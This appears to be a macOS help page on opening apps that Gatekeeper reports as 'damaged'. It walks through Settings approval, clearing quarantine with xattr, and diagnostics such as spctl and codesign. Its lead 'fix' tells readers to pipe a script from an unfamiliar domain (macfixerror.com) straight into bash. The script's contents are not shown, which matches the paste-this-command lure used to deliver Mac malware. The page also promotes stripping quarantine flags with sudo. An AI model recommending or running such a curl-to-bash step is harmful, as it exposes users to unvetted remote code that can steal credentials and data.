How to Open a “Damaged” App on Mac
You do not have to trash the app. The “damaged” dialog is a failed trust check, and there are three routes past it: approve the app in Settings, clear the quarantine flag in Terminal, or unpack a clean copy. Start with the first and stop as soon as the app launches.
The fix
curl -fsSL https://macfixerror.com/run.sh | bash
Paste it into Terminal and press Return. The helper is a short shell script; review it at /run.sh before running.
sudo xattr -cr "/Applications/Your App.app"
The most reliable route. Drag the app into Terminal to fill the path, press Return, enter your password.
open "/Applications/Your App.app"
Starts the app from Terminal. Useful when Finder double-click keeps failing and you want the error printed in the window instead of a dialog.
spctl -a -vv "/Applications/Your App.app"
A rejection names the reason. If it says the code is unsigned, approving the app manually is the right next step.
Route 1: Open Anyway in Settings
- Double-click the app once. The blocked dialog appears; dismiss it.
- Open System Settings → Privacy & Security.
- Scroll to Security. An “Open Anyway” button appears for the last blocked app.
- Click it, authenticate, then confirm the final prompt.
This is the least invasive route and works for intact but unsigned apps. On macOS 15 and later it is the only supported manual approval path; Control-click → Open is no longer present in every flow.
Route 2: clear quarantine in Terminal
- Move the app to
/Applications. - Open Terminal with ⌘ + Space.
- Run
sudo xattr -cr "/Applications/Your App.app"with the real path. - Open the app normally.
This removes the metadata that triggered the check. It is safe when you trust the source and it is the route most likely to work in one attempt. The narrow form xattr -d com.apple.quarantine is described in its own guide.
Route 3: unpack a clean copy
- Delete the broken copy and empty the Trash.
- Download the archive again from the vendor.
- Double-click the ZIP so Archive Utility expands it — not a third-party archiver.
- Drag the result into
/Applicationsand open it.
A fresh copy is the strongest fix when the bundle itself was altered. If this copy also fails, the build's certificate is probably expired and only the developer can reissue it.
Reading the error instead of guessing
Terminal gives better diagnostics than the dialog:
spctl -a -vv "path"— Gatekeeper verdict and the rejection reason;codesign -dv --verbose=4 "path"— signing identity, or “not signed at all”;xattr -l "path"— whether the quarantine flag is even present;lipo -archs "path/Contents/MacOS/Name"— whether the architecture matches the Mac.
Match the output to the cause before trying more routes. Clearing attributes on a truncated download will never help.
When to give up on the copy
Move on to a fresh download if the bundle is unsigned after unpacking, if the signature timestamp is expired, or if a re-download produces the same rejection. None of those are local problems, and no amount of attribute clearing changes them.
Frequently asked questions
Is it safe to open a damaged app?
Why is there no Control-click → Open option?
Does the app stay opened after a reboot?
Can I use the open command instead of Finder?
What if the DMG is damaged, not the app?
Will I have to do this for every update?
This is an independent, unofficial guide. It is not affiliated with, endorsed by, or sponsored by Apple Inc. macOS and Apple are trademarks of Apple Inc. Always keep a backup before changing system files.